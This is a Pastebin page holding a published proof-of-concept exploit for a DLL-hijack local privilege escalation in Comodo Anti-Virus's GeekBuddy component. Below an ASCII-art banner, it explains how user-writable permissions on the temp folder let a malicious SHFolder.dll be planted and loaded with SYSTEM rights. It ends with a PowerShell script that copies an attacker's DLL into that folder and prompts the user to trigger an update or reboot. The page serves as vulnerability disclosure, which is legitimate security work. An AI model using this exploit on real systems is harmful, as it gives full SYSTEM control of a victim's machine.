Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <#
- ````......````
- ``,;''''''''''''''''';,`
- .;''''''''''''''''''''''''''',`
- `:''''''''+';:,.``````.,:;'''''''''':`
- ,;'''''';,.` ``,;'''''';:
- `:'''''',. `,'''''';.
- `;+''+':` ,; `,''''';.
- `;'''';. `` .:;'` `. `;'''''.
- ` :+''';` `,``:+'' ';;'`,''; `` `` :'''';`
- .'''';` ,';' '':'` ';,'`'',' :''' .''` :'''',
- `;''''` ;'' :+.` ;';, ';:' ''''`,;:+ '', `;''''`
- .''''. ;:`, .'.':`'''.:;`;. +;:' '::; ;''' '; .'''',
- :''';` ` '''',`':'' ..;:`','` '''' ':;;`'`';`':` :; :''';
- ;''+, .;`.'.'' ';.'`';': ,:. ` ` ` `,: .';',,'`;'.`';': .+'''`
- `''''` ;'; ''.'.,','` ,` ``;`'' .`;'`''+: ;'''`
- `'''' ., .'' ,'.'' ;;. ```````` `. ``'::'`;; ` :'''.
- ``''': `+,` .':`'',' `,;''''''''''+'':.` ;'.+:;'``': .'''.
- `''', '', ''`:; `:'''''''''''''''''''''';. `;'`': ''`'` .''',
- `''', ` `''` `'; .''''''''''''''''''''''''''''';` `.;' ;'.''`.: `''',
- `''', :''.`'' ` ,;'''''''''''''''''''''''''''''''';. ` `,.'::', ''` .'''.
- ''', '.''`,': ,'''''''''''''''''''''''''''''''''''''', ` .+,'; ''; .'''`
- ''': ''`'' ;. `'''''''''''''''''';:::;';'''''''''''''''''. ;' :': ,,` .'''
- :''; `''.'` ` :''''''''''''';:::.', `''';`:;'+'''','''''+; `,'; :''' ,'''
- .''' `` .++; `''''''''''''`. `': '''; `:''' :'''''''. .+ :''.+. :'':
- `''+ :'': `` ,''''''''''''' `': '''; `: ,'''''''': .`''.'' ` '''`
- ;''. `+.',; ;'''':''''''''; ` ', .'''': ` :''''';'''; `'.',`,', `+''
- ,'': '';,'. ;''''':''''''''`+` ;..`;'+''. '.:''''';'''''```.+' +:'` .'';
- `''' `;``+',;.` ;''''':''''''''.'; `;'', '` '' ;''''','''''` ;,+.+. ;''.
- ;'+. :'': ;': ;'''''':''''':',''. `'';.+' '` ,'; .'''';''''''` `+.':` `'''
- `'': .+`;''` ` ;'''''':''''''.::''. .''. :: `'';`,'''':''''''` :+'. ,'',
- '''` :''.:'' :''''''':'''''; :'''' .'', `.,; :+'`''': ;''',''''''' ,` '''
- .'': `'';`` ,''''''':;''''':`''';', ,''+` ,+':' +'''''''`,'''''''''''; .+` .'':
- ''' `''. :', `''''''':`'''''+.;';.:::::::,,''';`'': . .'''''''; ''''.''''''', ` ;'': '''
- .'', ','';`. '''''''; :'''''' `,;'''''''''.``` . ''''';:,`:;''+`'''',,'''''''` :'';` `+':
- '''` ''.,'; ;''''''; ''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :''''''' '''. ;''
- `'': .'';:; `'''''''` .+'', ,''''''''''''; '''''''++`''''':..:'''' `''''' ;'''''', ., `` .'',
- ` :'' :''` ''''''+` ;''``;'''''''''''''':``,,.`````,'''''. ';.;'''` `'''''''` .++. '';
- +'' ,'''''': ;+`,'''''''''''''''''+''';;;;'''''''+` :;+,`''. `.''''''; .+'''` :'+`
- ,''. ': +'''''; ,,;''''''''''''''''''''''''''''''''''. `.::,` `';.', ;''''''` :'': `. `'';
- ;'' :;.;': ,''''''. `''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;, `''''''; `.; .;'+` ;''
- '': ` ;';';' ''''''; ''';;''''''',`.'',` .:;;''''''''''.,'''''''''''.;;. ,'''''' `;''''. .''`
- .''. .';`;' .''''''. :+;;''''''''''': ;' ::::...;''+'':,'''';..``;''';. ''''''; `:''.`': `'':
- :'' ` ,'` ;''''''. :;'''''''''''''';`;, `,''';` .:;;;'''': ,'''''' .,''', '''
- ;'; ''';,` `''''''''''` :''''''''''';.:'''`';:` ,''';`;''''''''''', ''''''. ;';,` :''`
- `'', .;,'''; ,'''''''''' ;'''''''''':` :'''`::` ``'''',+''''''''''''+` ;'''''; .``.:;` `''.
- .''` `+;'`;` '''''''''';.'''''''',` ''';` :''';'''';::;'''''';; ` `''''''` ;'';;; `+':
- :'' ..;'' `''''''''''`'''''''', .'''` `+''';''. ,'''''''''''''''''''''''''''''''''''''':`
- ;'' :. `` .'''''''''';'''''''' ;''; ;''':::` :'''''''''''''''''''''''''''''''''''''''',
- ;': '''':` :'''''''''''''''''',` .''' ''''. `+'''''''''''''''''''''''''''''''''''''''''
- '', :,;'': ;''''''''''''''''''` ;''... :''''` :''''''''''''''''''''''''''''''''''''''''''`
- `''. `+'':,` ''''''''''''''''''; ,'';.+` . ,;''' `'''''''''''''''''''''''''''''''''''''''''';
- .''. `.,;'; '''''''''';''''''', ''',+. `` .' .''' ''''''''+'''''''''''''''''''''''''''''''''',
- .'+` ;''''' `` '''''''` `;''''.'++','`+.''' ''''''; `;+''''''
- ,'' ''''';; ,'''';'''';'``.''' :''''''` .'''''':
- :'+ '''''': .'''';'''';'` .''' ,''''''` ,''''';
- :'' ,''''', ''''''` .'''';'''';', .'''` .''''''` ''''''
- ;'' `''''''; :''''', '''''' .'''';'''';':,''''. .''''''` ''''''
- ;'' `';''''' :''''', :''''; :''''''''';''.''''' `''''''` ;'''''
- ;'' :''''', ,''''' `+''''''''':''.'''''` ,'''''; ''''''
- :'+ ,''''', `'''''. ,'''''''''':''::''''; ;''''': `''''''
- :'' ```. ,''''': ''''': `''''''''''',''+`'''''. `''''''. :''''''
- ,''` `''''''' .'''''; `''''': '''''''''''';''',,''''', ''''''' ,'''''',
- .''` `''':,.; `'''''' `'''''': '''''''''''''';'''`'''''':. `,''''''', .''''''''
- `''` `,;;;''` '''''' `'','''';,` `,''''''''''''''',''':.''''''''''''''''''':` ;'''''''''''''''''''''''''''''',
- '', `+';;, '''''' `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+ '''''''''''''''''''''''''''''';
- '': ` `,. ;'''''. `''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;; `''''''''''''''''''''''''''';';
- ;'; ,''''; :''''': `''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,', ,'''''''''''''''''''''''''''';
- ;'' ';;,.. .'''''' `''';; :''''''''''''''''';'''''''. '''''`;'''''''''''';+'` ;'''''''''''''''''''''''''';.
- :'' `,:;''' ''''''` `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+: '''''''';''''''''';''''';,`
- .''. .''',` ;''''': ` ''':;''. ````` :+'''''',;''''''', '''''';..;''''''''''` `'''''' `,'': `+':
- '': ` .;. ,'''''+ .'';,'''''''';:''''''''','''''''': ;'''''''''.`,''''''' ;'''''; ,'', .''.
- ''; :+.++` `''''''. +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''', ''''''. ':''', :''`
- :'' ,';:.'. ;'''''' ''''.:''''''''''''''''';;'''''''''''.'''. `:;'''''':'': :'''''' ';,.:' '''
- .''. .;:''' .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''', '''''': ,'''', `'':
- ''; ;';, ;` '''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';' ,. .;: ,''`
- ;'' `;', `,'''''''''''''.,'''''''''''''';','''';:.`` `,.;'''''''''''.+''''''.''''''; ,'+'. '''
- .''. '''';` ''''';''''''';`'''''''''''''':.'';:,;'''':` ,:`:''''''''','',`:''':''''''` '.:''' `'':
- ''' :'': `:. ,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.''''''; `'''..' :''
- :''` `,. ;:++` ''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+'''''' ;. ,+''` '';
- `'': `'',`;: `'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,' ,'',
- ;''` `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;'''''''' +.''+; '''
- `'': ;'';` ` ''''''':''''';`'''''''', '''''''''''''''.,''''`''''',:''''`,'''''''` '''.:'; .'':
- ''+` ,` ,+: `'''''','''''':`'''''''` :'''''''''''''; ;'''`+''''`;'''':+''''''.` ` :'':;, '''
- .'': ;';''. .'''''';'''''',`'''''+ ''''''''''''''` .,'';.''''' '''''''''''': +'``;'; .'',
- ''+` :''; ,'` :''''','''''''.,''''' ,'''''''''''''' :''''';''''','''';''''''; ,.''. .`` '''
- `';; `+. ;'':' :''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.'''''' :';`''; :''.
- :'',` `'':.''` ;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;'''''' ` :''.'''` `'''
- ''' ;'.:''` ;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''` .''``'+',: '''`
- .';; `;;'; ` :''''':'''''';'''`'';''''''''''': ,''''''''''`''';'''''; .,''` :` ,'':
- ;'', `', `'. ,''''';''''';'''''':''''''''''': .''''''''',`+';,''''; ``.'''; ``'''
- '''` `'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'', ,'`:'''''` '''`
- .''' ;'.'' `;''''''''.''''''':'''';:,''';. ,''';''''',;'''',` `;''''''';. ;'',
- ,''; ''.;', ,';''''';,''''''`+,` .;:;''',,'';'''+.;''''',```:+,''''''''''.:'';
- ;''; ''';', '. `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''',''
- ''': .,,': :': +''''''',''';.:'+,.` `.:''':`''''''''''; `'':'''''''''''''',`
- ''': ` .'' `'`;'''''''..,.:+,` ``.,.` ,'''`;'''''''+.';'.:'''':;'''''+:.'`
- ''': ;:`+'` ,:..,''''''; .+: `:'+''''';` ;'; .''''': `:';:+''';`''''''. .':
- `'''; ; ;'. .';'`;'''',;'. .+''''''''''` ;;'+:'''; .+'''''''';''''''.;,'';
- `'''' ,'; :'`'`;'''':+` `'''''''''''': ;'';'''`;''''''''''''''''',.''';
- `'''' ` ` `':. ';''.+. `''''''''''''; `'''''::'''.'''',`'''''': :';;''
- ''''. :;,'`:'.';', '''''''''''': ,'''','''..''': '''';;:,''. `''
- :''': `.+'' '''',' :''''''''''+. ''''''':`'''' .''';:;`.'.:' ';
- ,''''` `,` ',;:'. `;;;,``'''::::;''; :';, ,'''''' ;'''` +'''.''+'.:'+`':
- `'''': ` ;'':' '''''+;.; `` ,:`''''', `'''''`,'''' :'''.''''..''','.
- :''''. .,': :'''''''.`;'''';` .''''''` '''':`+'''``''',;'''``''';:'.
- `'''''` `.'` ''''''';`'''''''': ,'''''; ;'''`''''; ''';:'''. ;''',''
- ,'''''` `.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.:
- :''''', .' '''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '.
- `:+'''';..; '''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+
- `,''''':' ''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,:
- .;+':' '''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' +
- .:+` '''''''`''''''+'''+.'''''; .' ;''' ;''.;,'' ' ''.:``:
- '. :'''''':.+'''''''',;''''', ;: ;''; '''.'.,;,,:'' '`'
- ;; `'''''''``;'''''',`,''''' `'` ''',.''',.:;`' ''.,.`;
- .+ ''''''' ` `.,,.`'; '''; :; `''+`;'';;: :.;`',`; ;`
- +: `'''''``';;;;;'''', `` `+. `''' '''::;;:;`;'`;..,
- ,' ``.. `+''''''''''+` :' `'';`''':. ,.',''.; '
- `+' :'''''''''''', `+.` '',.''',. :,''''+ ;
- .', ;''''''''''''. ': ''.,''':` ;.''''.,.
- :'. :''''''''''', ;'` ''.:''',':;.''':.:
- ''. ,:''''',` ;+` :'.:'''' ':`''; ;
- `'', ''. ::,''''``; :, '
- ;+;` .'+` ``'':'`,; '``
- ,'';. `.'';` :';'.,; '.
- `,''';:::::;'''. ``+;' +`
- `,:''''';,` ,,;
- SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares)
- Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC:
- ###Technical Geeky Stuff###
- GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder.
- These binaries are individual components of the Comodo Security Suite and are executed whenever
- their related function is performed, updated, or uninstalled.
- The directory listing is as follows:
- 10/06/2015 12:08 AM <DIR> .
- 10/06/2015 12:08 AM <DIR> ..
- 10/02/2015 10:43 PM 27 download.cfg
- 10/02/2015 10:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe
- 10/02/2015 10:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe
- 10/02/2015 10:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe
- 10/06/2015 12:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe
- 10/02/2015 10:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe
- 10/06/2015 12:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe
- 10/06/2015 12:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe
- 10/02/2015 10:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe
- 10/06/2015 12:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe
- 10/02/2015 10:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe
- 10/02/2015 10:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe
- 10/06/2015 12:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe
- 10/06/2015 12:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe
- 10/02/2015 10:43 PM 1 survey_version.txt
- 10/06/2015 12:05 AM <DIR> updates
- The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration:
- C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
- BUILTIN\Administrators:(OI)(CI)(ID)F
- CREATOR OWNER:(OI)(CI)(IO)(ID)F
- BUILTIN\Users:(OI)(CI)(ID)R
- BUILTIN\Users:(CI)(ID)(special access:)
- FILE_WRITE_DATA
- FILE_APPEND_DATA
- FILE_WRITE_EA
- FILE_WRITE_ATTRIBUTES
- Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access. This allows
- non-administrator users the ability to create files in the directory but not delete or modify
- existing files.
- Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides
- in the C:\Program Files (x86)\Common Files\COMODO\ folder. This service is auto launched by the
- registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher
- This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM
- level privielges. This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe
- to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder.
- During client connections to update servers and Geek Buddy executions the unit.exe binary will
- launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe. This setup binary has
- hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is
- executed from.
- .data:00409240 dd offset aShfolder ; "SHFOLDER"
- .data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA"
- During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before
- looking in the other PATHS variables.
- By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an
- update or client connection to secure servers (which occurs automatically at user login) a user can
- elevate their privileges to SYSTEM and compromise the system fully.
- ######### GREETZ ######################################################################################
- 1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled
- @taviso - keep killing it and thanks for being an inspiration
- @bill_billbil - sup girl chicken rico n chill
- @tacticalRCE - Its no 100 mile rides but will miss all the good times. C-ya around mang.
- @hellNBak_ - drop tehm greetz like its 2003
- @hacksforpancakes - make plans for other NullCon in 2016 ;)
- @jduck - we gonna juke some more toyotas next time you come visit
- @hdmoore - good luck with your ventures good sir
- @jsoo - dont give up good sir - you're doing awesome
- @thegrugq - when i grow up i hope im half as wise as you good sir
- @daveaitel - Triangular Anus logos are the best
- @da_667 - AYYYYYYYYYYYYYY LMAO
- @bonovoxly - Clever Girls Wear Pink on Wednesdays
- Derek Soeder - Respect to you brother, keep on being awesome
- Benny 29A - next time im in CZ lets get beers, im buying
- Yuji Ukai - #RESPECT to everything you have ever done and will ever do. #Ninja
- Sizzop - for fixing my greetz
- #########################################################################################################
- #>
- Param
- (
- [Parameter(ValueFromPipelineByPropertyName = $true)]
- [string]$DLL = ""
- )
- if (!(Test-Path $DLL))
- {
- throw "Fatal Error: The specified file: $DLL does not exist."
- }
- Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force
- Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red
- [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
- $objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon
- $MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path
- $objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)
- $objNotifyIcon.BalloonTipIcon = "Info"
- $objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL.
- Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges"
- $objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis"
- $objNotifyIcon.Visible = $True
- $objNotifyIcon.ShowBalloonTip(8000)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
